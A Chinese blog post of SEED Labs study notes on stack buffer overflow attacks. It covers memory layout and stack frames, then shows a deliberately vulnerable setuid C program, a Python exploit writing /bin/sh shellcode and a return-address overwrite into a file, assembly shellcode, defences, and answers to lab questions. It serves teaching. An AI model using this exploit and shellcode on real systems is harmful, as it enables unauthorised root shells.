seed-labs (软件安全-缓冲区溢出攻击)

2024-06-13 22:18
文章标签 seed labs 缓冲区 溢出 软件 攻击 安全

本文主要是介绍seed-labs (软件安全-缓冲区溢出攻击)，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

软件安全-缓冲区溢出攻击

  • 缓冲区溢出
    • 程序的内存分别
    • 栈与函数调用
      • 栈的内存布局
      • 帧指针
    • 栈的缓冲区溢出攻击
      • 将数据复制到缓冲区
      • 缓冲区溢出
    • 环境准备
      • 构造输入文件
    • 构造shellcode
      • C语言编写恶意代码
      • 构造shellcode的核心方法
      • shellcode 实例
    • 防御措施概述
  • problem

缓冲区溢出

了解堆栈布局
易受攻击的代码
开发方面的挑战
外壳代码
对策

程序的内存分别

在这里插入图片描述
为了深入了解缓冲区溢出攻击原理，需要了解内存分布，程序运行时需要在内存中存放的数据’
上图中
text segment (代码段) 程序的可执行代码，这块内存是只读的
data segment （数据段）程序初始化的静态/全局变量 例如 static int a=2
BSS 未初始化的静态/全局变量，操作系统会用0填充这个段，
heap （堆）用于动态分配内存，这一内存区，大多由malloc(),calloc(),reallo(),free() 函数管理
stack（栈）用于存放函数内定义的局部变量，或函数调用相关的数据，

// 初始化全局变量存数据段
int x = 100;int main()
{// 函数内的局部变量存在栈中int a=2;float b=2.5;// 未初始化静态变量，存BSS段static int y;// 分配的内存存在堆中int *ptr = (int *)malloc(2*sizeof(int));// 5和6的值存在堆中ptr[0]=5;ptr[1]=6;// 堆中释放内存free(ptr);return 1;
}

栈与函数调用

栈的内存布局


当func()函数被调用时，操作系统会在栈顶为其划分一块内存空间
在这里插入图片描述
参数 arguments，这个区域用于保存传递给函数的参数，事例中是两个整型参数
返回地址 return address 函数结束，并执行返回指令时，需要知道返回地址，也需要知道这个返回地址在什么地方，在调用一个函数前，计算机把下一条指令地址压入栈顶，
前幁指针。 下一个被程序压入栈幀中的数据是上一个栈针的指幀。

帧指针

由于需要访问参数和局部变量，而访问这些参数和变量的方式就是他们的内存地址，然而地址在编译时并不能确定，所以编译器无法预测栈的运行时状态，为了解决这个问题，cpu专门引入了一个寄存器，就叫幀指针，在这里插入图片描述
通常会在一个函数调另一个函数，进入调用函数前，程序会在栈顶为被调用函数分配一个栈帧，程序从被调用函数 返回时，该栈帧占据的内存空间将被释放，为了始终记录函数的栈帧在什么位置，需要在本函数中记录调用函数的 栈帧指针，这个指针叫做前帧指针

栈的缓冲区溢出攻击

内存复制在程序中是很常见的，因为程序往往需要把数据从一个地方复制到另一个地方。在复制数据之前，程序需要为目标区域分配内存空间，有时候，程序员未能分配足够大的内存区域给目标区域，导致内存溢出。

将数据复制到缓冲区

C语言中很多复制函数，strcpy(),stract() 等。这个函数遇到‘\0’时停止复制。

缓冲区溢出

在这里插入图片描述
如图所示，buffer数组之上的数据包含一些关键数据，如返回地址和前幀指针。如果缓冲区溢出修改了返回地址，当函数返回时，它将跳转到一个新地址。
情况一：无效指令
情况二：不存在的地址
情况三：访问冲突
情况四：攻击者的代码恶意代码获取访问权限

环境准备

关闭地址随机化

[06/09/21]seed@VM:~/stack$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[06/09/21]seed@VM:~/stack$

stack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>int foo(char *str)
{char buffer[100];strcpy(buffer, str);return 1;
}int main(int argc, char **argv)
{char str[400];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 300, badfile);foo(str);printf("Returned Properly\n");return 1;
}
[06/09/21]seed@VM:~/stack$ gcc -o stack -z execstack -fno-stack-protector stack.c 
[06/09/21]seed@VM:~/stack$ ls
stack  stack.c
[06/09/21]seed@VM:~/stack$ sudo chown root stack
[06/09/21]seed@VM:~/stack$ sudo chmod 4577 stack
[06/09/21]seed@VM:~/stack$ echo "aaaa" >> badfile
[06/09/21]seed@VM:~/stack$ ./stack 
Returned Properly
[06/09/21]seed@VM:~/stack$ echo "aaaaaaaaaa,aaaaaa,aaaaaaaaaaaaaaaa,aa"{,,,,,,} >badfile 
[06/09/21]seed@VM:~/stack$ ./stack 
Segmentation fault
[06/09/21]seed@VM:~/stack$ cat badfile 
aaaaaaaaaa,aaaaaa,aaaaaaaaaaaaaaaa,aa aaaaaaaaaa,aaaaaa,aaaaaaaaaaaaaaaa,aa aaaaaaaaaa,aaaaaa,aaaaaaaaaaaaaaaa,aa aaaaaaaaaa,aaaaaa,aaaaaaaaaaaaaaaa,aa aaaaaaaaaa,aaaaaa,aaaaaaaaaaaaaaaa,aa aaaaaaaaaa,aaaaaa,aaaaaaaaaaaaaaaa,aa aaaaaaaaaa,aaaaaa,aaaaaaaaaaaaaaaa,aa
[06/09/21]seed@VM:~/stack$

由此我们可以看出，当字节长度小于100时，正常运行，大于100，程序崩溃，这正是缓存溢出导致的

构造输入文件

在这里插入图片描述

64位系统和32位系统区别占用字节：32位，返回地址和帧指针各占4个字节，64位则占8个字节
帧指针寄存器： 32位，叫ebp，64位叫rbp

exploit.py

#!/usr/bin/python3
import sysshellcode = ("\x31\xc0""\x50""\x68""//sh""\x68""/bin""\x89\xe3""\x50""\x53""\x89\xe1""\x99""\xb0\x0b""\xcd\x80"
).encode('latin-1')
content = bytearray(0x90 for i in range(300))
start = 300 - len(shellcode)
content[start:] = shellcoderet = 0xbffff528 + 100
content[112:116] = (ret).to_bytes(4, byteorder='little')
file = open("badfile", "wb")
file.write(content)
file.close()[06/10/21]seed@VM:~/stack$ chmod u+x exploit.py 
[06/10/21]seed@VM:~/stack$ python3 exploit.py 
[06/10/21]seed@VM:~/stack$ ./stack 
Segmentation fault
[06/10/21]seed@VM:~/stack$ ls
badfile  exploit.py  stack  stack.c
[06/10/21]seed@VM:~/stack$ cat badfile

构造shellcode

C语言编写恶意代码

#include <stddef.h>void main()
{char *name[2];name[0] = "/bin/sh";name[1] = NULL;execve(name[0], name, NULL);
}

上面的C代码给shell提示执行更多命令。我们可以将上面的C代码编译成二进制文件，并将其存储到badfile中，修改后的返回地址字段为main（）的地址。但这种解决方案存在一些问题：

加载问题：OS Loader负责设置内存，将程序复制到内存中，调用动态链接器链接库等来设置程序的运行环境，初始化步骤完成后调用main（）。如果缺少任何步骤，程序将不会加载到内存中。在缓冲流程序中，我们使用内存复制来复制代码。因此，所有的初始化步骤都丢失了，因此，我们的shell代码将不会被执行。

代码中的零：strcpy（）在源字符串中找到零时停止复制。当C代码被编译成二进制时，二进制代码中会有零，这将停止进一步复制坏文件。

构造shellcode的核心方法

运行shell程序编写的汇编码叫做shellcode
shellcode最核心的就是使用execve() 来调用/bin/sh
4种寄存器
eax 寄存器 必须保存11，11是execve()的系统调用号
ebx 寄存器 必须保存命令字符串 的地址，
ecx 寄存器 必须保存参数数组的地址

shellcode 实例

sudo apt install nasm  安装命令

section .textglobal _start_start:; Store the argument string on stackxor  eax, eax push eax          ; Use 0 to terminate the stringpush "//sh"push "/bin"mov  ebx, esp     ; Get the string address; Construct the argument array argv[]push eax          ; argv[1] = 0push ebx          ; argv[0] points "/bin//sh"mov  ecx, esp     ; Get the address of argv[]; For environment variable xor  edx, edx     ; No env variables ; Invoke execve()xor  eax, eax     ; eax = 0x00000000mov   al, 0x0b    ; eax = 0x0000000bint 0x80

[06/10/21]seed@VM:~/stack$ vi mysh.s
[06/10/21]seed@VM:~/stack$ nasm -f elf32 mysh.s -o mysh.o
[06/10/21]seed@VM:~/stack$ ld -m elf_i386 mysh.o -o mysh
[06/10/21]seed@VM:~/stack$ ls -l mysh
-rwxrwxr-x 1 seed seed 504 Jun 10 02:16 mysh
[06/10/21]seed@VM:~/stack$ echo $$
2091
[06/10/21]seed@VM:~/stack$ ./mysh 
$ echo $$
9245nasm -f elf32 mysh.s -o mysh.o编译32位.o文件。-f elf32编译ELF二进制格式 ld -m elf__i386 mysh.o -o mysh链接成32位可执行文件

攻击的时候，我们只需要的是shellcode的机器码，只有机器码才称为shellcode
可以从目标文件或者可执行文件中得到机器码，对于汇编语言，有两种方式得到机器码：1、AT&T语法模式。2、Intel语法模式

参考连接

  • http://note.blueegg.net.cn/seed-labs/overflow/shellcode/

防御措施概述

安全的函数
安全的动态链接
程序静态分析
安全的编程语言

problem

1.  -x将在堆栈上分配，因为它是一个局部变量-y将在BSS数据段上分配，因为它是一个未初始化的静态变量2.
-我将在数据段上分配，因为它是一个初始化的全局变量
-ptr将在堆栈上分配，因为它是一个局部变量，但是它指向的内存将在堆上分配，因为它是动态内存
-buf将在堆栈上分配，因为它是一个本地数组
-j也将在堆栈上分配，因为它是一个局部变量3 
str
-------------------------------
return address
-------------------------------
previous frame pointer
-------------------------------
Buffer4 这并不能解决问题，只会改变攻击的性质。虽然无法劫持当前堆栈帧，但仍然可以重写下一个堆栈帧的返回地址。例如，假设您有函数：
void bar(char* str)
{
char c[7];
strcpy(c, str);
}
void foo()
{
bar("overlflow");
}
-通常，在堆栈从高到低增长的情况下，如果向bar函数中传递的字符串太大，它可能会覆盖bar函数的返回地址
-但是，如果堆栈从低到高，则不会重写bar函数，而是可以重写strcpy函数的返回地址5 答案是错误的。是的，strcpy中会发生缓冲区溢出，但缓冲区溢出的作用是重写foo函数的返回地址，因此当foo（）返回时会跳转到恶意代码，而不是strcpy（）返回时。6-
不，缓冲区溢出问题没有解决，因为攻击者仍然可以传入大于size参数指定值的字符串（str）。-要解决此问题，可以使用strlcpy（）7 返回地址不会指向shell代码，因为语句的右侧不正确，因为buffer+0x150只是缓冲区上的另一个位置，而我们需要存储恶意shell代码的地址以及偏移量。8 每当遇到0字节（\x00）时，strpy函数就会停止。地址0xbffff300和0xbffff400都包含0字节。9  任务A：找到缓冲区基址和返回地址之间的偏移距离（ebp+4）任务B：找到放置外壳代码的地址（恶意代码的地址+0x80）10 ASLR随机化堆栈的起始位置，即每次代码加载到内存中时，堆栈地址都会更改。这使得猜测内存中的堆栈地址变得更加困难，因此很难猜测ebp地址以及恶意代码的地址。

这篇关于seed-labs (软件安全-缓冲区溢出攻击)的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/1058573。

相关文章

电子盖章怎么做_电子盖章软件

电子盖章怎么做_电子盖章软件

使用e-章宝（易友EU3000智能盖章软件）进行电子盖章的步骤如下： 一、准备阶段 软件获取： 访问e-章宝（易友EU3000智能盖章软件）的官方网站或相关渠道，下载并安装软件。账户注册与登录： 首次使用需注册账户，并根据指引完成注册流程。注册完成后，使用用户名和密码登录软件。 二、电子盖章操作 文档导入： 在e-章宝软件中，点击“添加”按钮，导入待盖章的PDF文件。支持批量导入多个文件，
阅读更多...
9 个 GraphQL 安全最佳实践

9 个 GraphQL 安全最佳实践

GraphQL 已被最大的平台采用 - Facebook、Twitter、Github、Pinterest、Walmart - 这些大公司不能在安全性上妥协。但是，尽管 GraphQL 可以成为您的 API 的非常安全的选项，但它并不是开箱即用的。事实恰恰相反：即使是最新手的黑客，所有大门都是敞开的。此外，GraphQL 有自己的一套注意事项，因此如果您来自 REST，您可能会错过一些重要步骤！
阅读更多...
数据库原理与安全复习笔记（未完待续）

数据库原理与安全复习笔记（未完待续）

1 概念 产生与发展：人工管理阶段 → \to → 文件系统阶段 → \to → 数据库系统阶段。 数据库系统特点：数据的管理者（DBMS）；数据结构化；数据共享性高，冗余度低，易于扩充；数据独立性高。DBMS 对数据的控制功能：数据的安全性保护；数据的完整性检查；并发控制；数据库恢复。 数据库技术研究领域：数据库管理系统软件的研发；数据库设计；数据库理论。数据模型要素 数据结构：描述数据库
阅读更多...
使用JWT进行安全通信

使用JWT进行安全通信

在现代Web应用中，安全通信是至关重要的。JSON Web Token（JWT）是一种流行的安全通信方式，它允许用户和服务器之间安全地传输信息。JWT是一种紧凑的、URL安全的表示方法，用于在两方之间传输信息。本文将详细介绍JWT的工作原理，并提供代码示例帮助新人理解和实现JWT。 什么是JWT？ JWT是一种开放标准（RFC 7519），它定义了一种紧凑且自包含的方式，用于在各方之间以JSO
阅读更多...
小红书商家电话采集软件使用指南

小红书商家电话采集软件使用指南

使用小红书商家电话采集软件可以提高商家电话的采集效率，以下是使用指南及附带代码。 步骤一：安装Python和相关库 首先，确保你的电脑已经安装了Python运行环境（建议安装Python3版本）。安装完成后，同样需要安装一些相关的库，如requests、beautifulsoup4等。在命令行窗口中输入以下命令进行安装： pip install requestspip install bea
阅读更多...
如何给文档设置密码？电脑文件安全加密的详细操作步骤（10种方法）

如何给文档设置密码？电脑文件安全加密的详细操作步骤（10种方法）

在数字化时代，电脑文件的安全和隐私至关重要。通过给电脑的文件或者文件夹设置密码和加密，可以有效保护你的重要文件不被未经授权的人员访问，特别是公司的重要岗位，一些特殊的机密文件，投标文件，资金文件等等，更应该注重文件日常使用安全性。下面将为你介绍10种电脑文件，文件夹加密的详细操作步骤，帮助你更好地保护你的电脑文件安全。 加密方式一、Windows系统内置加密（电脑自带的文件加密） 选中需要
阅读更多...
Java NIO 创建/复制缓冲区

Java NIO 创建/复制缓冲区

创建缓冲区的方式 主要有以下两种方式创建缓冲区： 1、调用allocate方法 2、调用wrap方法 我们将以charBuffer为例，阐述各个方法的含义； allocate方法创建缓冲区 调用allocate方法实际上会返回new HeapCharBuffer(capacity, capacity)对象； 缓存空间存储在CharBuffer类的成员属性char[] h
阅读更多...
安全科普：理解SSL（https）中的对称加密与非对称加密

安全科普：理解SSL（https）中的对称加密与非对称加密

今天刚好为站点的后台弄了下https，就来分享我了解的吧。 密码学最早可以追溯到古希腊罗马时代，那时的加密方法很简单：替换字母。 早期的密码学：   古希腊人用一种叫 Scytale 的工具加密。更快的工具是 transposition cipher—：只是把羊皮纸卷在一根圆木上，写下信息，羊皮纸展开后，这些信息就加密完成了。 虽然很容易被解密，但它确实是第一个在现实中应用加密的
阅读更多...
服务器监控：运维行业的核心保障与第三方监控软件的选择

服务器监控：运维行业的核心保障与第三方监控软件的选择

随着信息技术的飞速发展，企业IT架构日益复杂，服务器作为整个IT系统的核心，其稳定性和性能对业务的连续性至关重要。在运维行业中，服务器监控作为保障服务器稳定运行的关键环节，已经受到了越来越多企业的重视。本文将探讨服务器监控的重要性、挑战以及选择第三方监控软件的原因，并推荐一款优秀的服务器监控软件——监控易。 一、服务器监控的重要性     服务器监控是指对服务器硬件、操作系统、应用程序
阅读更多...
docx转doc工具（软件）

docx转doc工具（软件）

word中的docx转成doc格式软件下载： http://pan.baidu.com/s/1ntsi0yt <script>window._bd_share_config={"common":{"bdSnsKey":{},"bdText":"","bdMini":"2","bdMiniList":false,"bdPic":"","bdStyle":"0","bdSize
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2